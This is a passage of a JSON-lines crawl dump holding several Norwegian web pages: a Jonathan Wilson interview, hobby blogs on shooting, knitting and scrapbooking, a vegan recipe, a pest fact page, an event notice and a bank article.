ogs\u00e5 s\u00f8ke i arkivene v\u00e5re tilbake til 1996. P\u00e5 sikt h\u00e5per vi \u00e5 kunne by p\u00e5 fullarkiv helt tilbake til starten i 1969.\n\n\n\nSLIK GIKK DET MED HIPPIEN: Han beholdt sin milde v\u00e6rem\u00e5te, men fikk seg samtidig en fancy \u00e5rgangs-Porsche 911, og ble plateprodusent i Los Angeles.FOTO: SHELBY DUNCAN\n\nAv Tom Skjekles\u00e6ther\n\nJonathan Wilson og band spiller p\u00e5 Parkteatret i Oslo tirsdag 3. april og p\u00e5 Folken i Stavanger dagen etter.\n\nEn annen Wilson: Barbeint flyr samtidshippien Jonathan Wilson b\u00e5de h\u00f8yt og dit han vil.\n\nFugl ut av bur\n\nKongen av Laurel Canyons folk-scene bader i synther p\u00e5 sitt nyeste album.\n\n\u2013 Roger Waters har v\u00e6rt min testkanin, ler Jonathan Wilson p\u00e5 telefonen fra L.A.\n\n\u2013 B\u00e5de han og andre som jeg har produsert, har v\u00e6rt nyttige for meg n\u00e5r jeg har gjort innspillingene som har resultert i \u00abRare Birds\u00bb. Jeg var i studio sammen med Roger da han spilte inn \u00abIs This the Life We Really Want?\u00bb, i den samme perioden som jeg laget min egen plate. Det var uunng\u00e5elig at jeg tok med meg elementer fra Waters-innspillingene til mine egne.\n\nJonathan Wilson spiller ikke bare p\u00e5 Pink Floyd-legendens siste album, han er ogs\u00e5 med i bandet som Waters turnerer verden rundt med, under det som kalles Us + Them Tour. P\u00e5 sine to foreg\u00e5ende album, \u00abFanfare\u00bb (2013) og \u00abGentle Spirit\u00bb (2011), lyktes Wilson med \u00e5 fusjonere innflytelse fra nettopp Pink Floyd med lyden som kjennetegnet Los Angeles-enklaven Laurel Canyon p\u00e5 1970-tallet; Crosby, Stills, Nash & Young, den slags.\n\nJonathan Wilson\n\n\u2022\u00a0L.A.-musiker og -produsent som ble en slags ny leder av Laurel Canyons musikkscene rundt gjennombruddet med \u00abGentle Spirit\u00bb i 2011.\n\n\u2022\u00a0Har siden sluppet to soloalbum med ekspanderende psykedelisk folkrock, \u00abFanfare\u00bb i 2013 og helt nye \u00abRare Birds\u00bb (anmeldt p\u00e5 neste side).\n\n\u2022\u00a0Er ellers blant annet kjent som produsent p\u00e5 alle de tre albumene til Father John Misty og som gitarist med mer i Roger Waters' band.\n\n\u2022\u00a0Wilson spiller i Norge to ganger i starten av april, 3. april i Oslo og 4. april i Stavanger.\n\nVidstrakte ambisjoner\n\n\u00c5pningskuttet p\u00e5 Wilsons nye \u00abRare Birds\u00bb f\u00f8rer da ogs\u00e5 tankene til tidlig 70-talls Floyd. En l\u00e5ttittel som \u00abTrafalgar Square\u00bb understreker ytterligere at Wilson er opptatt av det engelske. Men ingen m\u00e5 tro at Wilson sl\u00e5r seg til ro med \u00e5 v\u00e6re noen tribute-act til Pink Floyd, de tretten sporene som utgj\u00f8r \u00abRare Birds\u00bb strekker seg over nesten \u00e5tti minutter musikk og spenner opp et gigantisk musikalsk lerret. Ganske sikkert en av \u00e5rets mest ambisi\u00f8se utgivelser, med ditto fascinerende og spaca videoer til \u00abOver the Midnight\u00bb og \u00abLoving You\u00bb, som bidrar overlegent til \u00e5 markere wide screen-aspektet ved Wilsons nye musikk.\n\n\u2013 Det har tatt lang tid, jeg har ventet p\u00e5 at inspirasjonen skal melde seg. Jeg har ikke hatt det travelt med \u00e5 f\u00f8lge opp \u00abFanfare\u00bb, avsl\u00f8rer Wilson. Han har hatt nok \u00e5 gj\u00f8re, blant annet med \u00e5 produsere plater for Father John Misty. Det er alts\u00e5 fem \u00e5r siden Jonathan Wilson ga ut sitt forrige album, \u00abFanfare\u00bb, ogs\u00e5 det et ambisi\u00f8st album som fikk gjennomg\u00e5ende sv\u00e6rt gode kritikker. Og som faktisk solgte s\u00e5 godt i Norge at Wilson ble en Topp 20-artist her.\n\n\u2013 J\u00f8ss, sier du det, det var jeg ikke klar over. Vi gleder oss virkelig til \u00e5 komme tilbake til Norge. Det blir et helt nytt show, med visuelle grep som reflekterer den nye musikken. Jeg tror at vi kommer til \u00e5 spille ni av sangene fra \u00abRare Birds\u00bb.\n\nStarten p\u00e5 det hele\n\nJonathan Wilson ble f\u00f8dt i Forest City i North Carolina i 1974, alts\u00e5 midt i storhetstida til mye av musikken som mange synes \u00e5 h\u00f8re mer eller mindre distinkte ekko av p\u00e5 Wilsons egne plater.\n\n\u2013 Faren min var bandleder et rockeband i 35 \u00e5r, s\u00e5 jeg vokste opp med musikk rundt meg. Det har alltid v\u00e6rt helt sentralt i livet mitt. Bestefaren min var pastor i en baptistkirke, jeg var med og spilte der fra jeg var veldig ung. Jeg var ogs\u00e5 ung da jeg beveget meg inn i den profesjonelle musikkbransjen f\u00f8rste gangen. Det var ikke en god opplevelse, noe som til slutt resulterte i at jeg ga opp den delen av musikken for en lengre periode. Jeg gikk over til \u00e5 lage gitarer i stedet. (Wilsons h\u00e5ndombygde Fender-gitarer fra disse \u00e5rene er sv\u00e6rt ettertraktede, journ.anm.).\n\nWilson dannet bandet Muscadine p\u00e5 midten av 1990-tallet, sammen med Benji Hughes, og bandet ga ut sin f\u00f8rste plate p\u00e5 Sire Records i 1998. Det er noe uklart n\u00e5r Jonathan Wilson ble en fast innbygger av Laurel Canyon, men det kan ha v\u00e6rt fra rundt 2005. For ti \u00e5r siden var studioet hans \u00e5sted for musikksammenkomster som koblet musikere som snart norgesaktuelle Chris Robinson (ex-Black Crowes), Jayhawks' Gary Louris, David Rawlings og The Dawes med superveteraner som Heartbreakers' Benmont Tench og Mike Campbell, Jackson Browne, Crosby & Nash, The Grateful Deads Bob Weir og en lang rekke andre respekterte insidere i L.A.-rocken.\n\nDen nye kongen\n\nAllerede da var det noen som kalte Wilson \u00abThe New King of Laurel Canyon\u00bb, s\u00e5 da tok han like gjerne med seg utstyret sitt og satte opp studio i den n\u00e6rliggende bydelen Echo Park. Det er her Wilson har puslet med \u00abRare Birds\u00bb innimellom produsentoppdrag for blant andre nevnte Father John Misty, Conor Oberst, engelske Roy Harper og kanadiske Deep Dark Woods.\n\nEt sl\u00e5ende nytt aspekt ved \u00abRare Birds\u00bb er bruken av trommemaskiner og synther i alle avskygninger. Noen vil tenke p\u00e5 det som et brudd med det gitarbaserte lydbildet som Wilson har v\u00e6rt forbundet med p\u00e5 sine tidligere utgivelser. Ved siden av de to albumene, ogs\u00e5 to ettertraktede ep-er utgitt i begrensede opplag i anledning \u00abRecord Store Day\u00bb.\n\n\u2013 Jeg har alltid likt trommemaskiner, de gir muligheten til \u00e5 lage musikk der grooven kan hensette deg i transe. Det har bare ikke blitt til at jeg har brukt dem p\u00e5 de tidligere platene. Jeg vil at musikken her skal v\u00e6re meditativ, ta seg den tida den trenger, f\u00e5 flyte ut. Jeg har beskrevet det som en \u00absonisk gondol\u00bb.\n\nEt av disse \u00abfart\u00f8yene\u00bb er sangen \u00abLoving You\u00bb, der Wilson deler mikrofontiden med Philadelphia-kultmusikeren Laraaji, noe av et ambient/new age-ikon som ble \u00aboppdaget\u00bb av Brian Eno og spilte akustiske strengeinstrumenter som dulcimer og siter p\u00e5 \u00abAmbient 3: Days of Radiance\u00bb, utgitt i 1980. Ved siden av musikken, driver Laraaji ogs\u00e5 med lattermeditasjons-workshoper.\n\n\u2013 Jeg er stor fan av Laraaji, forteller Wilson, og oppfordrer meg til \u00e5 komme meg p\u00e5 nettet og finne ut mer om musikeren og meditasjonseksperten.\n\nTidlig Genesis?\n\nI partier p\u00e5 noen av sangene p\u00e5 \u00abRare Birds\u00bb kan man ogs\u00e5 spore elementer som f\u00f8rer tankene tilbake til tidlig Genesis, s\u00e5nn cirka rundt \u00abFoxtrot\u00bb og \u00abSelling England by the Pound\u00bb, 1972\u201373. Noe Wilson riktignok hevder ikke er tilsiktet.\n\n\u2013 Jeg har ikke noe spesielt forhold til Genesis, for meg er det The Beatles og The Kinks som er det store. Det er helt ufattelig at The Beatles kunne v\u00e6re s\u00e5 eksperimentelle og s\u00e5 kommersielt fremgangsrike samtidig. Men n\u00e5r det er sagt, s\u00e5 har jeg veldig sans for det Peter Gabriel gjorde p\u00e5 80-tallet. Han og Talk Talk\\!\n\nDette lydbildet ivaretas av to keyboardister i Wilsons nye band, Drew Erickson p\u00e5 orgel og mellotron og John Kirby som trakterer alle synther.\n\n\u2013 Det er bare bassisten Jake Blanton som er igjen fra mitt forrige band, forteller Jonathan Wilson. Hans gode venn Omar Velasco har for eksempel dratt av g\u00e5rde p\u00e5 egen h\u00e5nd, med eget nytt band.\n\nWilson trekker ogs\u00e5 frem at interessen for jazz har hatt innflytelse p\u00e5 hvordan musikken hans har utviklet seg. P\u00e5 det forrige albumet l\u00f8ftet han p\u00e5 hatten til en viss frijazz-pianist, med sangen som kort og godt heter \u00abCecil Taylor\u00bb. Wilson er som regel barbeint p\u00e5 pressebildene som finnes av ham, og legger heller ikke skjul p\u00e5 at han er noe av en hippie-spirit, visstnok grepet av lyden av Laurel Canyon allerede som ti\u00e5ring. I noe som godt kan oppfattes som en programerkl\u00e6ring, sier han f\u00f8lgende:\n\n\u2013 Denne plata har jeg laget for \u00e5 koke ned alt jeg elsker med musikk, l\u00e5tskriving, dans, deling og kj\u00e6rlighet inn i ett verk.\n\nLast ned sakspapirer og dagsorden her.\n\n  \nSpr\u00e5ket og naturen\n\nSuzanne Br\u00f8gger tar til orde for at vi trenger en Wittgenstein i v\u00e5r teknokratiske tidsalder. Les utdraget fra boka \u00abOmelette norv\u00e9gienne\u00bb i ukas Bokmagasinet.\n\nErfaringer\n\nSigrun Slapgard skriver om m\u00f8ter med mennesker og den latinamerikanske voldens historie i sin nye bok. Signe Pr\u00f8is anmelder i Ukas bok.\n\n\n\nI anledning Infernofest i Oslo, tok vi en prat med Emperors Ihsahn om hva black metal er.\n\nJenny Wilson\n\nUte med nytt album som tar utgangspunkt i en overfallsvoldtekt.\n\n\n\n", "language": "no", "__index_level_0__": "c5d9a93c-ed92-4c34-acf9-d52d4fe669e3"}
{"url": "http://blogg.svartkrutt.net/2012/05/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:11:27Z", "text": "## Med rett til \u00e5 stikke opp hodet\n\n# M\u00e5nedlige arkiver: mai 2012\n\n# Framgang i Vetterli\n\n\n\n13-skudds Vetterli-serie p\u00e5 96 poeng \u2013 for \u00f8vrig min f\u00f8rste serie noensinne med denne rifla.\n\nI \u00e5r har jeg skutt rekordmye i forhold til tidligere \u00e5r, og skyteloggen viser 156 skudd med munnlader per dags dato. Tidligere har jeg begynt sesongen omtrent p\u00e5 denne tiden. Jeg har brukt en del tid p\u00e5 \u00e5 finne fram til gode ladninger, men n\u00e5 har jeg ogs\u00e5 begynt \u00e5 trene st\u00e5ende. Liggende f\u00e5r vente til kneet er fikset.\n\nSiden det er VM i \u00e5r konsentrerer jeg meg om de v\u00e5pnene jeg skal bruke n\u00e5r jeg skal m\u00e5le meg med verdens beste i Tyskland i slutten av august. Jeg har brukt en del tid p\u00e5 flintl\u00e5srifla, uten de helt store resultatene til n\u00e5. For en ukes tid siden fikk jeg endelig tak i et nytt og st\u00f8rre hullkorn til Whitworth-rifla, og i g\u00e5r skj\u00f8t jeg den f\u00f8rste Vetterli-serien. Det endte med 96 poeng med 6 tiere, 4 niere. De tre skuddene som kunne strykes var 2 \u00e5ttere og 1 nier. Det var over all forventning til meg \u00e5 v\u00e6re, og jeg h\u00e5per det fortsetter slik.\n\n\n\nMine nye Winner Shooting Star-skytebriller.\n\nI \u00e5r har jeg kuttet ut reim p\u00e5 st\u00e5ende, og i vinter plukket jeg opp litt teknikkispirasjon ved \u00e5 se p\u00e5 skiskytterne, noe som sikkert bidrar til at jeg skyter bedre p\u00e5 st\u00e5ende. Jeg har litt problemer med h\u00f8ydespredning fremdeles som dere kan se p\u00e5 skiva.\n\nBrillene fra skytterbriller.no fungerer ogs\u00e5 bra. Jeg har ikke skutt med \u00e5pne sikter til n\u00e5 i \u00e5r, men de fungerer i hvert fall godt med dioptersikter.\n\nRiflemusketten som skal brukes i Mini\u00e9 og Lamarmora original har jeg med vilje ventet litt med i \u00e5r. Siden den er original vil jeg slite minst mulig p\u00e5 den. Det er mulig den f\u00e5r bli med p\u00e5 neste trening.\n\nDette innlegget ble skrevet i Svartkrutt og skyting og merket VM 2012, 1. mai, 2012 av \u00d8yvind F..\n\n", "language": "no", "__index_level_0__": "8df66246-1203-44ca-99a9-59b6b0fe748b"}
{"url": "http://trollogting.blogspot.com/2010/03/til-ei-lta-jente.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:31:43Z", "text": " \n\n## fredag 12. mars 2010\n\n### Til ei lita jente.\n\n  \nD\u00e5 er eg fiks ferdig med babyklea .........som eg skal gje til ei lita jente. Var kjekt \u00e5 strikke slike plagg etter gamalt.......  \n  \nM\u00f8nsteret er fr\u00e5 Drops Design.  \n  \nDet neste p\u00e5 pinnane er pulsvarmarar.......til ei stor jente.  \n  \n\nEg har frihelg og i morgon skal eg til Dale....p\u00e5 dette:  \n\n  \n\nGler meg stort\\!\n\nGod helg til alle som kikkar inn0m til meg\\!\n\n\n\n\n\nMajorogMeg sa...\nDen lille s\u00f8tnosen som f\u00e5r disse kl\u00e6rne er jo heldig:) Flotte babykl\u00e6r:)  \nNyt konserten og helga:)  \nKlem fra meg:)\n\n 12. mars 2010 kl. 17:01    \n\n\n\n\n\nKariL sa...\n\nDu har strikket et nydelig sett og heldig er den som f\u00e5r dette. Nyt konserten og ha en riktig god helg\\!\n\n 12. mars 2010 kl. 17:05    \n\n \n\noline's skattekammer sa...\n\nSlikt et nydelig sett du har strikka\\! Ha en fin fredag, og kos deg p\u00e5 konserten i morgen\\!\n\n 12. mars 2010 kl. 17:12    \n\n\n\n\n\n\nTussi sa...\nGod tur p\u00e5 konsert, og ha ei fin helg :)\n\n 12. mars 2010 kl. 17:54    \n\nS\u00e5 flink du er til s\u00e5 strikke - virkelig s\u00f8tt.\n\n\n\n\n\nNissestien sa...\n\nNydelige plagg. Fint strikket ogs\u00e5\\!  \nTviler ikke p\u00e5 at det blir satt pris p\u00e5 av den heldige mottaker og foreldrene.  \nHa en flott helg\\!\n\n 12. mars 2010 kl. 17:58    \n\n\n\n\n\nAnKa sa...\n\nWOW det var et flott sett. M\u00e5 du kose deg max p\u00e5 konserten i helga.  \nOg ha ei flott helg.\n\n 12. mars 2010 kl. 18:03    \n\n\n\n\n\nAlvas hj\u00f8rne sa...\n\nDu og du s\u00e5 nydelig sett du har strikka:)  \nVakkert m\u00f8nster:)  \nKos deg p\u00e5 konserten og riktig god helg\\!\n\n 12. mars 2010 kl. 18:25    \n\n \n\nBodil sa...\n\nFor eit lekkert sett\\! Heldig den som f\u00e5r det. Ha ei fin helg :)\n\n\n\n\n\nMalys krok sa...\n\nJa dette var skikkelig fint. Hvitt til baby er s\u00e5 nydelig, s\u00e5 rent og uskyldig som babyen selv. Veldig koselig \u00e5 strikke s\u00e5 sm\u00e5 plagg\\!  \n\\-Margit-\n\n 12. mars 2010 kl. 19:24    \n\n\n\n\n\nRosa sa...\n\nEg tippar mottakaren vert r\u00f8rt til t\u00e5rer :)  \n  \nOg h\u00e5par at konserten st\u00e5r til forventningane ;)\n\n 12. mars 2010 kl. 20:09    \n\n\n\n\n\nGunn sa...\n\nS\u00e5 nydelig sett du har strikket\\! Ha en god helg og kos deg p\u00e5 konserten.\n 12. mars 2010 kl. 20:50    \n\n\n\n\n\nJanne i Fagerlia sa...\n\nDette settet har jeg ogs\u00e5 strikket. Slik klassisk baybystrikk ser ut til \u00e5 vare evig.  \n  \nGod helg og kos deg p\u00e5 konsert.\n\n 12. mars 2010 kl. 20:56    \n\n\n\n\n\nBente sa...\nHa ei fin helg og  \nnyt konserten.\n\n 12. mars 2010 kl. 21:47    \n\n\n\n\n\nAnne-Berit sa...\n\nGod helg\\!\n\n 12. mars 2010 kl. 21:51    \n\n\n\n\n\nStubbetufsa sa...\n\nBl\u00f8te, fine babykl\u00e6r\\!  \nHa ei god helg\\!\n\n \nS\u00e5 flink du er :) Kjempefint \\!  \nKonsert vert sk\u00f8y \\! :)\n\n\n\nS\u00e5 flotte strikkekl\u00e6r..  \nKos deg p\u00e5 konserten..  \nGo helg til deg..  \n  \nKlem Linda\n\nS\u00e5 flink du er .. enn \u00e5 strikke slike s\u00f8te plagg da .. :o)  \n  \nH\u00e5per du f\u00e5r ei flott helg - kos deg - klemmer\\!\n\n 13. mars 2010 kl. 00:20    \n\n \n\nmormonsen sa...\n\nS\u00e5 nydelig kl\u00e6r\\! Jeg ble helt nostalgisk. Begynner \u00e5 bli mang e\u00e5r siden jeg strikket s\u00e5nt som dette.  \nKos deg p\u00e5 konserten\\! Og god helg til deg. :)\n\n 13. mars 2010 kl. 08:37    \n\n\n\n\n\nGamleheksa sa...\n\nS\u00e5 fine strikke-kl\u00e6r. Og du sier du ikke kan strikke, hmmm, er ikke helt sikker p\u00e5 det der,du ;)  \nN\u00e5 synes jeg den store jenta snart fortjener \u00e5 f\u00e5 pulsvarmerne sine:) Gode \u00e5 bruke utover v\u00e5ren n\u00e5r votter er for varmt.  \n  \nGod helg og god forn\u00f8yelse p\u00e5 stilett-forestilling\\!\n\n 13. mars 2010 kl. 10:13    \n\n\n\n\n\nbodil sa...\n\nHei.Kjempe fint sett.S\u00f8tt og sm\u00e5tt.Kos deg masse i kveld og ha en toppers helg.Klem fra Bodil..\u2665\u2665\n\n 13. mars 2010 kl. 11:30    \n\n\n\n\n\nIngrid sa...\n\nDet er eit flott sett du har strikka \\!\\!Dette blir nok kjekt \u00e5 f\u00e5.\n\n 13. mars 2010 kl. 14:50    \n\n\n\n\n\nMita\\`s hj\u00f8rne sa...\n\nHeisann...  \nH\u00e6lledussan kor s\u00f8tt dette settet var...Tulla blir nok alldeles nydelig i dette settet...  \nKos det p\u00e5 kosnert...\n\n 13. mars 2010 kl. 16:06    \n\n\n\n\n\nMuffin sa...\n\nS\u00e5 nydelig\\! Heldig er den som f\u00e5r dette\\!\n\n 13. mars 2010 kl. 20:33    \n\n\n\n\n\nElkat sa...\n\nNydelig strikka sett\\!  \nH\u00e5per konserten var bra\\!  \nHa ei flott helg videre\\!\\!\n\n 13. mars 2010 kl. 23:45    \n\n\n\n\n\nOdins lille hj\u00f8rne sa...\n\nFlotte babykl\u00e6r\\! H\u00e6rlig med slike hvite strikka sett\\!  \nH\u00e5per konserten var flott\\!\\!\n\nDu verden kor nydelig \\!\n\n 15. mars 2010 kl. 15:40    \n\n\n\n\n\nBrit sa...\n\nH\u00e5per du fikk en str\u00e5lende konsert opplevelse i helga:)  \nBabykl\u00e6rne var jo bare nydelige og heldige er den som er motager av de:)\n\n 15. mars 2010 kl. 18:45    \n\n***Ville Gud ha gjort vin s\u00e5 velsmakende, hvis han hadde \u00f8nsket \u00e5 forby den?** *Armand Jean du Plessis de Richelieu  \n\n", "language": "no", "__index_level_0__": "7e8d564d-9438-4855-922f-04ce8b59e830"}
{"url": "https://veganeren.com/2011/08/rocka-ris/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:47:49Z", "text": "# Rocka ris\n\nWritten by Cathrine Ottesen on august 16, 2011  in Hovedretter, Supper og gryteretter, Tilbeh\u00f8r\n\nKjempeenkel og nydelig sommer-rett. Lett \u00e5 lage, og nesten vanedannende god. Og det beste av alt; her kan du ha oppi akkurat det du selv liker\\! Jeg skulle ha oppi tofubacon men var tom for soyasaus s\u00e5 da kunne jeg ikke lage det. Men den kombinasjonen jeg brukte i dag var supergod\\! Her kan du t\u00f8mme kj\u00f8leskapet for rester og mat som m\u00e5 brukes opp kjapt.\n\n\n\n**OPPSKRIFTEN**\n\nKokt ris (jeg brukte rester av fullkornris fra middagen i g\u00e5r, genialt \u00e5 bruke opp restene her)  \n1 stor hakket l\u00f8k  \n4 fedd raspet hvitl\u00f8k  \n1 gr\u00f8nn paprika i biter  \n1 boks ananas i biter  \nAbsurde mengder skivet fersk sopp  \nNoen strimler syltet/grillet r\u00f8d paprika  \n1 boks kidneyb\u00f8nner, avrent og skylt  \nSalt, pepper, paprikapulver, l\u00f8kpulver, annet krydder du liker\n\nStek\u00a0 soppen i olje. N\u00e5r den er nesten ferdig, tilsett alt unntatt risen og la det frese en stund, til gr\u00f8nnsakene er slik du vil ha dem. Jeg liker dem litt crunchy.  \nTilsett risen og la det surre p\u00e5 ikke for h\u00f8y varme til alt er gjennomvarmt. Server\\!\n\n\n\n", "language": "no", "__index_level_0__": "e4e3a6f9-34b5-4251-bbe9-5b2c3701ead1"}
{"url": "https://www.cropscience.bayer.no/nb-NO/Bayer-Agro-Services/Bayer-Agro-verktoy/Skadedyr/Koloradobille.aspx", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:42:19Z", "text": "# Koloradobille (Leptinotarsa decemlineata)\n\n### \n\nKoloradobillen har karakteristiske guledekkvinger med fem sorte striper p\u00e5 hver. Billen er ca. 1 cm lang. Larven er ca. 12 mm lang, er r\u00f8d med to rekker sorte prikker p\u00e5 hver side. Billen overvintrer i jorden. Om v\u00e5ren opps\u00f8ker den nye potet\u00e5keren hvor den legger Orange egg p\u00e5 undersiden av bladene. B\u00e5de biller og larver ern\u00e6rer seg av bladmassen. N\u00e5r larven er utvokst kryper den ned i jorden og forpupper seg. Koloradobillen inng\u00e5r p\u00e5 listen over farlige skadegj\u00f8rere i forskriftene for innf\u00f8rsel av planter og plantedeler til Norge.  \n\n\u00a0\n## Vertsplante\n\nPotet og tomat. Koloradobille er per i dag ikke funne p\u00e5 friland i Norge  \n  \n\n", "language": "no", "__index_level_0__": "c7b46b4e-5348-4dc0-a89c-dc4a1b26e3e7"}
{"url": "http://palestinakomiteen.no/kommende/apent-mote-a-leve-palestinsk-flyktningleir/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:41:15Z", "text": "# \u00c5pent m\u00f8te p\u00e5 H\u00f8gskolen i S\u00f8r\u00f8st-Norge (B\u00f8): \u00c5 leve i en palestinsk flyktningleir\n\nPalestinakomiteen i Telemark inviterer til et spennende m\u00f8te med forfatter Siri Thorson, som er aktuell med boka \u00abFrihet p\u00e5 vent, \u00e5 leve i en flyktningleir\u00bb.\n\n**Tid: 13. mars kl 1830**  \n**Sted: H\u00f8gskolen i S\u00f8r\u00f8st-Norge, studiested B\u00f8**\n\nThorson forteller med innlevelse om flyktningenes erfaringer fra en av Libanons flyktningleire. Syrere og palestinere er de st\u00f8rste folkegruppene som i dag er flyktninger i Libanon.\n\nHvilke dr\u00f8mmer har menneskene vi f\u00e5r h\u00f8re om? Hva frykter de? Hvordan er det \u00e5 leve med status som flyktning i dag i Libanon og i resten av verden?\n\n**Velkommen\\!**\n", "language": "no", "__index_level_0__": "4b6bef03-7cc5-41df-aefc-1a63e7ca62b0"}
{"url": "https://melhusbanken.no/aktuelt/bruk-radgiveren-din-i-banken", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:37:11Z", "text": "Et r\u00e5dgiverm\u00f8te i banken l\u00f8nner seg alltid.\n\n   07. mars 2017 \n\n# Verdens mest l\u00f8nnsomme kaffeprat?\n\n## Forslag til deg som ikke har satt nytt\u00e5rsforsett enn\u00e5: Bestill et r\u00e5dgiverm\u00f8te i banken.\n\n\\- De aller fleste kundene v\u00e5re har orden p\u00e5 \u00f8konomien sin, det vil si at de betaler regningene sine i tide og stort sett setter av litt penger til sparing. De f\u00e6rreste har allikevel en overordnet plan, forteller Tor Andr\u00e9 Grenersen i Eika Skolen.\n\nHan er sikker p\u00e5 at mange kunder har mye \u00e5 hente p\u00e5 \u00e5 benytte seg av lokalbankens tilbud om \u00e5 f\u00e5 oversikt og innsikt i alle delene av \u00f8konomien, og s\u00e5 legge en god plan for hele \u00f8konomien p\u00e5 kort og lang sikt.\n\n\\- I et r\u00e5dgiverm\u00f8te g\u00e5r du og r\u00e5dgiveren din gjennom fem faste punkter, og snakker om alt fra sm\u00e5 endringer i hverdagen til hvordan du forsikrer liv og helse. N\u00e5r dere er ferdige, kan du v\u00e6re trygg p\u00e5 at \u00abalt er p\u00e5 stell\u00bb \u00f8konomisk.\n\n**R\u00e5dgiverm\u00f8tets fem punkter**\n\n1.  Status. Hvordan st\u00e5r det til med \u00f8konomien din i dag? Sammen setter dere opp budsjett.\n2.  Dersom noe skulle skje. Hva skjer med \u00f8konomien om du eller andre i familien blir alvorlig syke, eller i verste fall om en skulle d\u00f8, og hvordan \u00f8nsker dere i s\u00e5 fall at \u00f8konomien skal v\u00e6re?\n3.  Fremtiden. Hva er de sm\u00e5 og store hendelsene i \u00e5rene som kommer, og som det kan v\u00e6re lurt \u00e5 tenke p\u00e5 allerede n\u00e5? Hva kjenner du til om pensjon, og hvordan \u00f8nsker du \u00e5 ha det som pensjonist?\n4.  Sikre verdier. Er huset og eiendelene dine ordentlig forsikret?\n5.  Hverdags\u00f8konomi. Kjenner du alle de enkle m\u00e5tene \u00e5 bruke banken p\u00e5 i hverdagen? Bank p\u00e5 mobil og PC, ulike kort for ulike situasjoner og nye m\u00e5ter \u00e5 betale p\u00e5?\n\n\\- R\u00e5dgiveren din er faglig sterk, med utdanning og sertifiseringer innen personlig \u00f8konomi. Like viktig er det at han eller hun ogs\u00e5 kjenner deg godt, og derfor er personlig interessert i at du skal gj\u00f8re gode valg. Disse temaene er for store og viktige til at du kan google deg fram til svar, sier Grenersen.\n\nSelve m\u00f8tet skjer vanligvis ved at r\u00e5dgiveren m\u00f8ter deg personlig i lokalbanken.\n\n\\- Du kan selvf\u00f8lgelig ta en gjennomgang over telefon i stedet. Men det er \u00e9n ulempe ved \u00e5 gj\u00f8re det p\u00e5 den m\u00e5ten, sier Grenersen:\n\n\\- Da m\u00e5 du brygge kaffen selv\\!\n\n## ** Noen sp\u00f8rsm\u00e5l er for store for nettet\n\nSnakk med oss om forsikringer for deg og dem du er glad i.\n\nAvtal et m\u00f8te\n\n## 5 grunner til at du b\u00f8r snakke med banken\n\n\u2026 og at du b\u00f8r gj\u00f8re det ofte.\n\n## Klarer du deg \u00f8konomisk om du mister jobben?\n\nDagpengene du f\u00e5r fra NAV utgj\u00f8r maksimalt 62 prosent av l\u00f8nnen din. Eikas nye inntekstforsikring gir deg trygghet i usikre tider.\n\n## Vi forsikrer alt vi eier, men glemmer det viktigste\n\nBolig, bil og b\u00e5t forsikrer vi uten \u00e5 blunke. Men hva med v\u00e5r egen helse?\n\n", "language": "no", "__index_level_0__": "f06e9f41-c550-4858-acc3-039bb68ec259"}
{"url": "http://hilderk.blogspot.com/2011/09/scrapshopbloggen-september-utfordring.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:33:03Z", "text": "## tirsdag 6. september 2011\n\n### Scrapshopbloggen september utfordring\n\n\n\n  \nUtfordringen denne m\u00e5neden hos scrapshop falt godt i smak. Synes det er veldig kjekt med lag p\u00e5 lag. Rive og kr\u00f8lle papir og sverte. Storkoste meg med \u00e5 lage denne LO'en. Fant fram MS kantpunsjer, ett rosa perlekjede, sl\u00f8yfeb\u00e5nd, charms og litt bling. Til og med en dolie fikk jeg presset innp\u00e5. Bildet er tatt i barnehagen, og barnehagebarnet ble veldig forn\u00f8yd med LO'en. \"Den vil eg ha p\u00e5 d\u00f8r\u00e5 te rommet mitt\" fikk jeg klar beskjed om da hun fikk se prosjektet.\n\n", "language": "no", "__index_level_0__": "ba98f6af-1609-4d4b-a01a-9a5e8001119d"}
{"url": "http://lindasscrapping.blogspot.com/2015/02/layout-love-mye-boys.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:21:51Z", "text": "\n\n## l\u00f8rdag 28. februar 2015\n\n### Layout - Love mye Boys\n\nDenne LOen er laget for Scrappelyst\n\n\n\n  \n\u00c5 scrappe bilder av seg selv, er noe jeg sv\u00e6rt sjelden gj\u00f8r. Men n\u00e5r jeg fikk en utfordring av\u00a0Elin\u00a0om \u00e5 scrappe bilder av nettopp meg selv, s\u00e5 fikk jeg jo en god unnskyldning til \u00e5 ta fatt p\u00e5 disse bildene jeg har hatt liggende i et \u00e5r. Bakgrunnsarket jeg har brukt her, kommer fra\u00a0Papirdesign, og er et av mine absolutt favorittark \u00e5 bruke som bakgrunn p\u00e5 LOer. Alle de andre arkene kommer ogs\u00e5 fra Papirdesign. Jeg har i tillegg brukt chipboard og Wood veneer fra Wycinanka, som forhandles gjennom\u00a0Global Hobby og Kunst. Buttonsen kommer fra\u00a0Badges Foilie.\u00a0\n\n  \nDetaljbilder:  \n\n\n\n  \n\n\n09:00           \n", "language": "no", "__index_level_0__": "76f30fed-2333-49eb-811c-7c86b7f786bc"}
